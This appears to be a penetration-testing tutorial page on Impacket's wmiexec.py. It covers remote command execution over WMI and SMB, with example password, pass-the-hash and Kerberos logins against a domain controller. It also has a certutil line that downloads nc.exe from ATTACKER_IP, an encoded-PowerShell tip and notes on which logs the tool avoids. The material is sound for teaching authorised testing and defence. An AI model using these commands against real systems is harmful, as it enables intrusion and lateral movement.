wmiexec.py

What is it?

wmiexec.py uses Windows Management Instrumentation (WMI) to execute commands on remote Windows hosts. Unlike psexec.py, it doesn't upload a service binary or create a Windows service. Instead, it uses WMI's Win32_Process.Create method to spawn processes remotely.

The command output is redirected to a temporary file on an SMB share, which wmiexec.py reads and displays. This means you need both DCOM/WMI access (port 135 + dynamic RPC ports) and SMB access (port 445) for the tool to work.

Key differences from psexec.py:

• No service creation: no Event ID 7045/4697 in the logs
• No file upload to ADMIN$: nothing dropped on disk
• Runs as the user, not SYSTEM: you get the privileges of the account you authenticate with
• Semi-interactive: each command is a separate WMI process creation (slight delay between commands)

Run this first

wmiexec.py runs commands through WMI and reads their output back over SMB, with no service and no uploaded binary.

$ wmiexec.py corp.local/administrator:'Password123!'@10.10.10.10

• corp.local/administrator:password@target is the same Impacket syntax psexec.py uses.

You get a semi-interactive prompt. It is not a true shell: each command is a separate WMI call, so things like cd do not persist state the way they would in a real shell, and there's a small delay per command.

How it works

For every command you type:

1. WMI call over DCOM (port 135 + dynamic RPC) creates a cmd.exe /c process
2. Output is redirected: cmd.exe /c "your_command" > \\127.0.0.1\ADMIN$\__randomfile 2>&1
3. SMB read (port 445) retrieves the output file content
4. Output file is deleted from ADMIN$

When to use it

Don't use wmiexec when:

• You need a fully interactive shell: use evil-winrm or RDP instead
• You need SYSTEM privileges: wmiexec runs as the user, not SYSTEM. Use psexec.py for SYSTEM
• Port 135 is blocked: WMI requires DCOM. If only 445 is open, try psexec.py. If only 5985 is open, use evil-winrm

Usage examples

With password

$ wmiexec.py corp.local/administrator:'Password123!'@10.10.10.10

Impacket v0.11.0 - Copyright 2023 Fortra

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands

C:\> whoami
corp\administrator                                             <-- user level, not SYSTEM

C:\> hostname
DC01

Pass-the-hash

$ wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f \
  corp.local/administrator@10.10.10.10

Kerberos authentication

$ export KRB5CCNAME=administrator.ccache
$ wmiexec.py -k -no-pass corp.local/administrator@dc01.corp.local

# Remember: hostname required for Kerberos, not IP

Execute single command (no shell)

# Run a single command and get output
$ wmiexec.py corp.local/administrator:'Pass123!'@10.10.10.10 "ipconfig /all"

# Run PowerShell
$ wmiexec.py corp.local/administrator:'Pass123!'@10.10.10.10 \
  "powershell -c \"Get-LocalGroupMember Administrators\""

Semi-interactive shell tips

Because each command spawns a new cmd.exe, you need to handle things differently:

# cd doesn't persist: use full paths
C:\> dir C:\Users\administrator\Desktop

# Or chain commands on one line
C:\> cd C:\Users\administrator\Desktop && dir

# Environment variables reset each command
# This WON'T work across commands:
C:\> set FOO=bar
C:\> echo %FOO%      <-- returns %FOO% not bar

# Instead chain them:
C:\> set FOO=bar && echo %FOO%

# For file transfers, use certutil or PowerShell download
C:\> certutil -urlcache -split -f http://ATTACKER_IP/nc.exe C:\Windows\Temp\nc.exe

# For longer commands, use PowerShell encoded commands
C:\> powershell -enc [base64_encoded_command]

wmiexec vs psexec vs evil-winrm

Common mistakes

Related tools

Check yourself

Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.